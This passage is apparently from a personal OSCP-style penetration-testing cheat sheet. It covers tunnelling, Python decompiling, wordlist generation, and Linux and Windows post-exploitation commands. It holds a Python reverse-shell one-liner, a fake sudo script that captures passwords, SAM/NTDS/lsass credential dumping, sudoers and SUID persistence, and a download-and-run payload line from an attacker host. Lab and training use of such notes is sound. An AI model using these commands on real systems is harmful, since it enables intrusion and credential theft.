# Example&lt;br /&gt;
ssh -i id_rsa -L 8000:127.0.0.1:8000 donkeykong@10.10.10.100&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
Example: forward port 8888 to attacker using chisel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Python ==&lt;br /&gt;
&lt;br /&gt;
=== Decompile ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/rocky/python-decompile3&lt;br /&gt;
# Translate python bytecode to python source code.&lt;br /&gt;
$ python pyinstxtractor.py&lt;br /&gt;
# Decompile .pyc&lt;br /&gt;
# https://github.com/zrax/pycdc&lt;br /&gt;
git clone https://github.com/zrax/pycdc&lt;br /&gt;
cd pycdc&lt;br /&gt;
cmake .&lt;br /&gt;
make&lt;br /&gt;
make check&lt;br /&gt;
python pycdc C:\Users\Bobby\example.pyc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Load module ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If a python script tries to load a module which does not exist, we can place our own module.  #  https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes&lt;br /&gt;
# Add a python reverse shell into the file&lt;br /&gt;
echo &#039;import os,pty,socket;s=socket.socket();s.connect((&amp;quot;192.168.49.165&amp;quot;,22));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;quot;sh&amp;quot;)&#039; &amp;gt; module.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PDB (Python Debugger ===&lt;br /&gt;
&lt;br /&gt;
[https://docs.python.org/3/library/pdb.html https://docs.python.org/3/library/pdb.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# Add import pdb&lt;br /&gt;
import pdb&lt;br /&gt;
# In script, before an error message, add&lt;br /&gt;
pdb.set_trace()&lt;br /&gt;
# Example&lt;br /&gt;
-&amp;gt; url = url.group(1)&lt;br /&gt;
(Pdb) print url.group(1)&lt;br /&gt;
http://swagshop.htb/index.php/admin/das[...]&lt;br /&gt;
(Pdb) continue&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python Extractor ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/extremecoders-re/pyinstxtractor&lt;br /&gt;
# Extract Pyinstaller. Content of pyz and pyc is extracted aswell&lt;br /&gt;
Python3 pyinstxtractor.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Simple HTTP Server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$python -m SimpleHTTPServer&lt;br /&gt;
$python -m http.server&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Symbolic Link (Windows) ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt&lt;br /&gt;
# See Symbolic box for example of how to exploit this. In the example below a backup script was copying request.log and saving it in a log. Creating a symbolic link as shown below, the content of id_rsa will be copied by the script and saved, making it possible for me to read it.&lt;br /&gt;
.\CreateSymlink.exe C:\xampp\htdocs\logs\request.log C:\Users\Administrator\.ssh\id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Wordlists ==&lt;br /&gt;
&lt;br /&gt;
=== Cewl - Generate wordlist ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Will create a wordlist from words in the URL, and add numbers.&lt;br /&gt;
cewl  --with-numbers &amp;gt; wordlist&lt;br /&gt;
# Scan to a depth of 2 (-d 2) and use a minimum word length of 5 (-m 5), save the words to a file (-w docswords.txt), targeting the given URL (https://example.com)&lt;br /&gt;
cewl -d 2 -m 5 -w docswords.txt https://example.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cupp ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mebus/cupp https://github.com/Mebus/cupp]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 cupp.py -i # Interactive mode where you fill out information about the person&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Datelist - Generate date wordlist ===&lt;br /&gt;
&lt;br /&gt;
[https://raw.githubusercontent.com/screetsec/BruteSploit/master/tools/datelist Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate date list with yyyy-mm-dd format&lt;br /&gt;
./datelist.sh -b 2020-01-01 -e 2020-12-31 -f yyyymmdd -o wordlist -s -&lt;br /&gt;
-b = beginning date&lt;br /&gt;
-e = end date&lt;br /&gt;
-f = format&lt;br /&gt;
-o = output&lt;br /&gt;
-s = spacing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Seclists ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/danielmiessler/SecLists/ https://github.com/danielmiessler/SecLists/]&lt;br /&gt;
&lt;br /&gt;
=== Python script ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import itertools&lt;br /&gt;
words = [&amp;quot;firmanavn&amp;quot;, &amp;quot;sommer&amp;quot;, &amp;quot;prod&amp;quot;,&lt;br /&gt;
&amp;quot;dev&amp;quot;, &amp;quot;database&amp;quot;, &amp;quot;app&amp;quot;, &amp;quot;server&amp;quot;,&lt;br /&gt;
&amp;quot;test&amp;quot;, &amp;quot;oracle&amp;quot;, &amp;quot;doc&amp;quot;, &amp;quot;admin&amp;quot;, &amp;quot;db&amp;quot;,&lt;br /&gt;
&amp;quot;password&amp;quot;, &amp;quot;administrator&amp;quot;, &amp;quot;tech&amp;quot;]&lt;br /&gt;
combo = itertools.combinations(words, 2)&lt;br /&gt;
combo = list(combo)&lt;br /&gt;
&lt;br /&gt;
with open(&amp;quot;/home/kali/wordlist.txt&amp;quot;, &amp;quot;w+&amp;quot;) as wordlist:&lt;br /&gt;
    for i in combo:&lt;br /&gt;
        wordlist.write(i[0] + &amp;quot;.&amp;quot; + i[1])&lt;br /&gt;
        wordlist.write(&amp;quot;\n&amp;quot;)&lt;br /&gt;
        wordlist.write(i[0].capitalize() + &amp;quot;.&amp;quot; + i[1].capitalize())&lt;br /&gt;
        wordlist.write(&amp;quot;\n&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    for i in range(0,2023):&lt;br /&gt;
        for v in words:&lt;br /&gt;
            word = v + str(i) + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v.capitalize() + str(i) + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v + str(i) + &amp;quot;!&amp;quot; + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v.capitalize() + str(i) + &amp;quot;!&amp;quot; + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful Linux Commands ==&lt;br /&gt;
&lt;br /&gt;
=== Add SUID (setuid) bit to file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
chmod 4755 /tmp/sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Add user to sudoers file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Add User to sudoers file&lt;br /&gt;
echo username ALL=(ALL) ALL &amp;gt;&amp;gt; sudoers&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BruteForce using su when having a shell - Password Spray ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/carlospolop/su-bruteforce&lt;br /&gt;
./su.sh  -u ray -w xato-net-10-million-passwords-10000.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cat, cut delimeter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Cat a file and cut delimiter space in field 3&lt;br /&gt;
cat $log | cut -d&#039; &#039; -f3-&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy output to clipboard ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat file | xclip -selection clipboard&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enable cursor in Terminal Kali ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
tput cnorm&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Output tty to shell or redirect to file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From eavsdropper room in THM&lt;br /&gt;
# If a user types in his password and you have a shell you can redirect output to your shell.&lt;br /&gt;
cat sudo&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
read password&lt;br /&gt;
echo $password &amp;gt; /dev/pty/0 # Choose the correct pty.&lt;br /&gt;
# Now export PATH så when the user runs the command it will execute your sudo script instead of real sudo.&lt;br /&gt;
# Run&lt;br /&gt;
export $PATH=/tmp:$PATH&lt;br /&gt;
# Now wait for the user to type his password and it will pop up in your shell.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kill/close open port on linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
fuser -k PORT/tcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reset kali to default settings ===&lt;br /&gt;
&lt;br /&gt;
BE CAREFUL AS THIS MIGHT BREAK SOME PACKAGES. Always take snapshot before running the commands below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you&#039;re having problems with kali acting up, you can reset kali to default.&lt;br /&gt;
# To reset Kali Linux to the default package and kernel, you will need to run the following commands:&lt;br /&gt;
sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade&lt;br /&gt;
sudo apt-get dist-upgrade&lt;br /&gt;
sudo apt-get autoremove&lt;br /&gt;
sudo apt-get autoclean&lt;br /&gt;
sudo update-grub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Restricted shell (rbash) - Linux Restricted Shell Bypass ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://vk9-sec.com/linux-restricted-shell-bypass/&lt;br /&gt;
# List of escape methods&lt;br /&gt;
https://www.hacknos.com/rbash-escape-rbash-restricted-shell-escape/&lt;br /&gt;
# If in rshell (Restricted shell), use this command to list all available commands&lt;br /&gt;
compgen -c&lt;br /&gt;
# Rbash escape ssh&lt;br /&gt;
ssh alfred@10.11.1.101 -t &#039;bash&#039; --noprofile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-11-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Read .db files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For DB files, like users.db. Read content with sqlitebrowser&lt;br /&gt;
sqlitebrowser users.db&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Read Windows registry files on Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Start hivexsh, and load a hive.&lt;br /&gt;
# https://linux.die.net/man/1/hivexsh&lt;br /&gt;
hivexsh&lt;br /&gt;
&amp;gt; load SECURITY&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ss instead of netstat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ss -tlpn&lt;br /&gt;
-t display tcp socket&lt;br /&gt;
-l display listening socket&lt;br /&gt;
-p show process using packets&lt;br /&gt;
-n dont resolve service name&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix Desktop Environment if its broken ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.kali.org/docs/general-use/xfce-faq/&lt;br /&gt;
If you are having issues, it may be that a config file is not set properly. First, backup .cache, .config, and .local. Next, running rm -r .cache .config .local and then rebooting will likely fix those issues.&lt;br /&gt;
REMEMBER TO DELETE IT FROM THE HOME USER and not root.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix Kali Login loop ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On the login screen type&lt;br /&gt;
CTRL + ALT + F1&lt;br /&gt;
# then type this command from the home/kali dir.&lt;br /&gt;
sudo mv ~/.Xauthority ~/.Xauthority.backup sudo chmod 700 ~ sudo chown -R kali:kali ~ sudo service lightdm restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful Windows Commands ==&lt;br /&gt;
&lt;br /&gt;
=== Stealing SAM and SYSTEM ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/stealing-credentials https://book.hacktricks.xyz/windows-hardening/stealing-credentials]&lt;br /&gt;
&lt;br /&gt;
This files should be &#039;&#039;&#039;located&#039;&#039;&#039; in &#039;&#039;C:\windows\system32\config\SAM&#039;&#039; and &#039;&#039;C:\windows\system32\config\SYSTEM.&#039;&#039; But &#039;&#039;&#039;you cannot just copy them in a regular way&#039;&#039;&#039; because they protected.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\config\SAM&lt;br /&gt;
C:\windows\system32\config\SYSTEM&lt;br /&gt;
C:\windows\system32\config\regback\system.old&lt;br /&gt;
C:\windows\system32\config\regback\system&lt;br /&gt;
C:\windows\system32\config\regback\sam.old&lt;br /&gt;
C:\windows\system32\config\regback\sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== From Registry ====&lt;br /&gt;
&lt;br /&gt;
The easiest way to steal those files is to get a copy from the registry:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg save HKLM\sam sam&lt;br /&gt;
reg save HKLM\system system&lt;br /&gt;
reg save HKLM\security security&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Download&#039;&#039;&#039; those files to your Kali machine and &#039;&#039;&#039;extract the hashes&#039;&#039;&#039; using:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
samdump2 SYSTEM SAM&lt;br /&gt;
impacket-secretsdump -sam sam -security security -system system LOCAL&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Check if shell is 64-bit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Environment]::Is64BitOperatingSystem&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Decompile .NET exe file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use dotpeek or dnSPY&lt;br /&gt;
https://www.jetbrains.com/decompiler/&lt;br /&gt;
https://github.com/dnSpy/dnSpy&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump hashes from NTDS.dit using secretdump.py ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Location C:\Windows\ or C:\Windows\System32\&lt;br /&gt;
/usr/bin/impacket-secretsdump LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dumping Domain password hasehs ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#diskshadow&lt;br /&gt;
https://pentestlab.blog/tag/diskshadow/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump creds frol lsass.dmp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/skelsec/pypykatz&lt;br /&gt;
# See writeup for HTB Blackfield&lt;br /&gt;
pypykatz lsa minidump lsass.DMP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Find writeable directories ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writable directories&lt;br /&gt;
dir /a-r-d /s /b&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Find .NET version using regkey ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query &amp;quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Executing MSI on Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msiexec /quiet /i cmd.msi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump Windows Sam File ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg save hklm\sam c:\sam&lt;br /&gt;
reg save hklm\system c:\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Run a dll using rundll32.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rundll32 C:\Tools\TestDll.dll,run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Registry dump passwords ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query HKLM /f password /t REG_SZ /s&lt;br /&gt;
reg query HKCU /f password /t REG_SZ /s&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Registry dump autologon passwords ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg.exe query &amp;quot;HKLM\software\microsoft\windows nt\currentversion\winlogon&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== See WiFi password in cleartext ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
netsh wlan show profile&lt;br /&gt;
netsh wlan show profile Profile01 key=clear&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enviroment variable Location ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| %ALLUSERSPROFILE%&lt;br /&gt;
|  C:\Documents and Settings\All Users&lt;br /&gt;
|-&lt;br /&gt;
| %APPDATA%&lt;br /&gt;
| C:\Documents and Settings\Username\Application Data&lt;br /&gt;
|-&lt;br /&gt;
| %COMMONPROGRAMFILES%&lt;br /&gt;
|  C:\Program Files\Common Files&lt;br /&gt;
|-&lt;br /&gt;
| %COMMONPROGRAMFILES(x86)%&lt;br /&gt;
| C:\Program Files (x86)\Common Files&lt;br /&gt;
|-&lt;br /&gt;
| %COMSPEC%&lt;br /&gt;
| C:\Windows\System32\cmd.exe&lt;br /&gt;
|-&lt;br /&gt;
| %HOMEDRIVE%&lt;br /&gt;
|  C:\&lt;br /&gt;
|-&lt;br /&gt;
| %HOMEPATH%&lt;br /&gt;
| C:\Documents and Settings\Username&lt;br /&gt;
|-&lt;br /&gt;
| %PROGRAMFILES%&lt;br /&gt;
| C:\Program Files&lt;br /&gt;
|-&lt;br /&gt;
| %PROGRAMFILES(X86)%&lt;br /&gt;
| C:\Program Files (x86) (only in 64-bit version)&lt;br /&gt;
|-&lt;br /&gt;
| %SystemDrive%&lt;br /&gt;
|  C:\&lt;br /&gt;
|-&lt;br /&gt;
| %SystemRoot%&lt;br /&gt;
| C:\Windows&lt;br /&gt;
|-&lt;br /&gt;
| %TEMP% and %TMP%&lt;br /&gt;
| C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
|-&lt;br /&gt;
| %USERPROFILE%&lt;br /&gt;
| C:\Documents and Settings\Username&lt;br /&gt;
|-&lt;br /&gt;
| %WINDIR%&lt;br /&gt;
| C:\Windows&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== List all PowerShell Accelators ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[psobject].assembly.gettype(&amp;quot;System.Management.Automation.TypeAccelerators&amp;quot;)::Get&lt;br /&gt;
Key                          Value&lt;br /&gt;
---                          -----&lt;br /&gt;
Alias                        System.Management.Automation.AliasAttribute&lt;br /&gt;
AllowEmptyCollection         System.Management.Automation.AllowEmptyCollectionAttribute&lt;br /&gt;
AllowEmptyString             System.Management.Automation.AllowEmptyStringAttribute&lt;br /&gt;
AllowNull                    System.Management.Automation.AllowNullAttribute&lt;br /&gt;
ArgumentCompleter            System.Management.Automation.ArgumentCompleterAttribute&lt;br /&gt;
array                        System.Array&lt;br /&gt;
bool                         System.Boolean&lt;br /&gt;
byte                         System.Byte&lt;br /&gt;
char                         System.Char&lt;br /&gt;
....&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PROOFS ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &amp;quot; &amp;quot;;echo &amp;quot;uname -a:&amp;quot;;uname -a;echo &amp;quot; &amp;quot;;echo &amp;quot;hostname:&amp;quot;;hostname;echo &amp;quot; &amp;quot;;echo &amp;quot;id&amp;quot;;id;echo &amp;quot; &amp;quot;;echo &amp;quot;ifconfig:&amp;quot;;/sbin/ifconfig -a;echo &amp;quot; &amp;quot;;echo &amp;quot;proof:&amp;quot;;cat /root/proof.txt 2&amp;gt;/dev/null; cat /Desktop/proof.txt 2&amp;gt;/dev/null;echo &amp;quot; &amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo. &amp;amp; echo. &amp;amp; echo whoami: &amp;amp; whoami 2&amp;gt; nul &amp;amp; echo %username% 2&amp;gt; nul &amp;amp; echo. &amp;amp; echo Hostname: &amp;amp; hostname &amp;amp; echo. &amp;amp; ipconfig /all &amp;amp; echo. &amp;amp; echo proof.txt: &amp;amp;  type &amp;quot;C:\Documents and Settings\Administrator\Desktop\proof.txt&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HELP! I&#039;m stuck - What to do when stuck ==&lt;br /&gt;
&lt;br /&gt;
The list below is taken from [https://www.blakejarvis.com/oscp/oscp-things-to-try-when-stuck blakejarvis&#039; notes.]&lt;br /&gt;
&lt;br /&gt;
=== Initial access ===&lt;br /&gt;
&lt;br /&gt;
==== Web discovery ====&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;lt;code&amp;gt;http://site/[hostname]&amp;lt;/code&amp;gt; if you can&#039;t find a directory or software you think should exist.&lt;br /&gt;
&lt;br /&gt;
* Try both GET and POST methods for all URLs given that may be blocking data via a particular HTTP method.&lt;br /&gt;
&lt;br /&gt;
* Fuzz parameters with ffuf.&lt;br /&gt;
&lt;br /&gt;
* Examine response headers for minor custom errors.&lt;br /&gt;
&lt;br /&gt;
==== Getting a shell ====&lt;br /&gt;
&lt;br /&gt;
* To save time, upload a web shell instead of manually executing PHP commands.&lt;br /&gt;
&lt;br /&gt;
* Some PHP local file inclusion vulnerabilities can reference remote resources with &amp;lt;code&amp;gt;?path=http://[kali ip]/rev-shell.php&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Break up an exploit. Use Wireshark to watch for ICMP pings back home instead of going for a reverse shell right away.&lt;br /&gt;
&lt;br /&gt;
* Instead of sharing a full rev shell payload, download an elf, +x, and execute it all in 1 command: &amp;lt;code&amp;gt;wget -P /tmp http://kali/shell.elf &amp;amp;&amp;amp; chmod +x /tmp/shell.elf &amp;amp;&amp;amp; /tmp/shell.elf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* If a CMS has an RCE, look closely at what/where it&#039;s implemented. If it has /skins/ in a proof-of-concept URL, check for that functionality in admin panel or in online documentation.&lt;br /&gt;
&lt;br /&gt;
* When calling back on a port (web request, shell, etc.) try multiple ports if the first fails.&lt;br /&gt;
&lt;br /&gt;
